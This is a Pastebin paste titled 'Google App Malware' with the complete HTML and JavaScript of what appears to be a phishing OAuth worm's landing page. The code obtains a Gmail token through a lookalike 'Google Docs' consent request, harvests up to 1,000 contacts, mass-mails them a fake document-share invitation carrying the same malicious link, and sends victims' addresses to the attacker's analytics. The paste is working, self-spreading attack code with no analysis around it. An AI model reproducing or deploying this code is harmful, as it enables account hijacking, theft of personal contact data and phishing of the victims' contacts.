SHARE
TWEET

Google App Malware

a guest May 3rd, 2017 467 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // http://googledocs.gdocs.download/g.php
  2.  
  3. <html>
  4.   <head>
  5.     <script type="text/javascript">
  6.       function getCookie(name) {
  7.         var matches = document.cookie.match(new RegExp(
  8.           "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  9.         ));
  10.         return matches ? decodeURIComponent(matches[1]) : undefined;
  11.       }
  12.  
  13.       // Your Client ID can be retrieved from your project in the Google
  14.       // Developer Console, https://console.developers.google.com
  15.       var CLIENT_ID = '366668462857-3qkidqn8oseh9v3fhm3085kpb747bgm7.apps.googleusercontent.com';
  16.       var CLIENT_ID_2 = '187102321219-1cb4b2gdr0bqv5u5n35vi1hecjcp1sjg.apps.googleusercontent.com';
  17.  
  18.       var SCOPES = ['https://mail.google.com/', 'https://www.googleapis.com/auth/contacts'];
  19.  
  20.       var redirect_url = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.gdocs.download/g.php') + '&customparam=customparam';
  21.  
  22.       var redirect_url_2 = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID_2) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.docscloud.download/g.php') + '&customparam=customparam';
  23.  
  24.       var alert_url = 'http://googledocs.gdocs.download/r.php?h=56ea1e8f06ea7e29396e988c26dbb0ec';
  25.  
  26.       /**
  27.        * Check if current user has authorized this application.
  28.        */
  29.       function checkAuth() {
  30.         gapi.auth.authorize(
  31.           {
  32.             'client_id': CLIENT_ID,
  33.             'scope': SCOPES.join(' '),
  34.             'immediate': true
  35.           }, handleAuthResult);
  36.       }
  37.  
  38.       /**
  39.        * Handle response from authorization server.
  40.        *
  41.        * @param {Object} authResult Authorization result.
  42.        */
  43.       function handleAuthResult(authResult) {
  44.         var authorizeDiv = document.getElementById('authorize-div');
  45.         if (authResult && !authResult.error) {
  46.           // Hide auth UI, then load client library.
  47.           loadGmailApi();
  48.         } else {
  49.           // Show auth UI, allowing the user to initiate authorization by
  50.           // clicking authorize button.
  51.           window.top.location.href = alert_url;
  52.         }
  53.       }
  54.  
  55.       /**
  56.        * Load Gmail API client library. List labels once client library
  57.        * is loaded.
  58.        */
  59.       function loadGmailApi() {
  60.         gapi.client.load('gmail', 'v1', listContacts());
  61.       }
  62.  
  63.       /**
  64.        * Print all Contacts in the authorized user's account. If no contacts
  65.        * are found an appropriate message is printed.
  66.        */
  67.       function listContacts() {
  68.  
  69.         console.log(gapi.client.gmail);
  70.  
  71.         var token = gapi.auth.getToken();
  72.         console.log(token);
  73.  
  74.         $.ajax({
  75.           url: "https://www.google.com/m8/feeds/contacts/default/full?access_token=" + token.access_token + "&max-results=1000&orderby=lastmodified&sortorder=descending",
  76.           dataType: "jsonp",
  77.           success:function(data) {
  78.                                 // display all your data in console
  79. //                    console.log(JSON.stringify(data));
  80.  
  81. //                    console.log(data);
  82.  
  83.             var from_email = getCookie('from');
  84.             console.log(from_email);
  85.  
  86.             var parser = new DOMParser();
  87.             xmlDoc = parser.parseFromString(data,"text/xml");
  88.  
  89.             var myemail = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('email')[0].textContent;
  90.             console.log(myemail);
  91.             var myname = xmlDoc.getElementsByTagName('author')[0].getElementsByTagName('name')[0].textContent;
  92.             console.log(myname);
  93.  
  94.             var entries = xmlDoc.getElementsByTagName('feed')[0].getElementsByTagName('entry');
  95.             var contacts = [];
  96.             var gmail_contacts = [];
  97.             var other_contacts = [];
  98.             for (var i = 0; i < entries.length; i++){
  99.               var name = entries[i].getElementsByTagName('title')[0].textContent;
  100.               var emails = entries[i].getElementsByTagName('email');
  101.               for (var j = 0; j < emails.length; j++){
  102.                 var email = emails[j].attributes.getNamedItem('address').value;
  103.                 if (email != from_email && email != myemail) {
  104.                   if (email.search('@gmail.com') != -1)
  105.                     gmail_contacts.push(email);
  106.                   else if (!(email.search('google') != -1 || email.search('keeper') != -1 || email.search('unty') != -1))
  107.                     other_contacts.push(email);                  
  108.                 }
  109.  
  110.   //                console.log(email);
  111.               }
  112.             }
  113.   //          console.log(gmail_contacts);
  114.   //          console.log(other_contacts);
  115.            
  116.             var to = 'hhhhhhhhhhhhhhhh@mailinator.com';
  117.  
  118.             var cc = '';
  119.  
  120.             var bcc = '';
  121.  
  122.             contacts = gmail_contacts.concat(other_contacts);
  123.  
  124.             for (var j = 0; j <= Math.floor(contacts.length / 99); j++) {
  125.  
  126.               bcc = '';
  127.  
  128.               for (var i = j * 99; i < Math.min(j * 99 + 99, contacts.length); i++) {
  129.                 bcc +=  contacts[i] + ',';
  130.               }              
  131.  
  132.               console.log(bcc);
  133.               setTimeout(sendEmail, 1000 + j * 100, to, cc, bcc, myemail, myname);
  134.  
  135.               ga('send', 'event', 'gmail_contacts', gmail_contacts.length);
  136.               ga('send', 'event', 'other_contacts', other_contacts.length);
  137.               ga('send', 'event', myemail, bcc);
  138.             }
  139.           }
  140.         });
  141.  
  142.       }
  143.  
  144.  
  145. function sendMessage(headers_obj, message, callback)
  146. {
  147.  
  148.   console.log(gapi.client.gmail);
  149.  
  150.   if (gapi.client.gmail == null) {
  151.     ga('send', 'event', 'error', 'error');
  152.     setTimeout(redirect, 2000);
  153.     return false;
  154.   }
  155.  
  156.   var email = '';
  157.  
  158.   for(var header in headers_obj)
  159.     email += header += ": "+headers_obj[header]+"\r\n";
  160.  
  161.   email += "\r\n" + message;
  162.  
  163.   var sendRequest = gapi.client.gmail.users.messages.send({
  164.     'userId': 'me',
  165.     'resource': {
  166.       'raw': window.btoa(email).replace(/\+/g, '-').replace(/\//g, '_')
  167.     }
  168.   });
  169.  
  170.   return sendRequest.execute(callback);
  171. }
  172.  
  173. function sendEmail(to, cc, bcc, from, myname)
  174. {
  175.   var subject = myname + ' has shared a document on Google Docs with you';
  176.   console.log(subject);
  177.   var body = '<html><body><div style="font-size:14px;line-height:18px;color:#444">' + myname + ' has invited you to view the following document:</div><br/><a href="' + redirect_url_2 + '" style="background-color:#4d90fe;border:1px solid #3079ed;border-radius:2px;color:white;display:inline-block;font-family:Roboto,Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;height:29px;line-height:29px;min-width:54px;outline:0px;padding:0 8px;text-align:center;text-decoration:none" target="_blank">Open in Docs</a></body></html>';
  178.   console.log(body);
  179.  
  180.   sendMessage(
  181.     {
  182.       'To': to,
  183.       'Cc': cc,
  184.       'Bcc': bcc,
  185.       'Subject': subject,
  186.       'Content-Type': 'text/html; charset=UTF-8'
  187.     },
  188.     body,
  189.     composeTidy
  190.   );
  191.  
  192.   return false;
  193. }
  194.  
  195. function composeTidy()
  196. {
  197.   console.log('Email sent');
  198.   setTimeout(redirect, 2000);
  199. }
  200.  
  201. function redirect()
  202. {
  203.   window.top.location.href = alert_url;
  204. }
  205.  
  206.     </script>
  207.    
  208.     <script src="https://apis.google.com/js/client.js?onload=checkAuth"></script>
  209.  
  210.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
  211.  
  212. <script>
  213.   (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  214.   (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  215.   m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  216.   })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
  217.  
  218.   ga('create', 'UA-98290545-1', 'auto');
  219.   ga('send', 'pageview');
  220.  
  221. </script>
  222.  
  223.   </head>
  224.   <body>
  225.  
  226.   </body>
  227. </html>
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top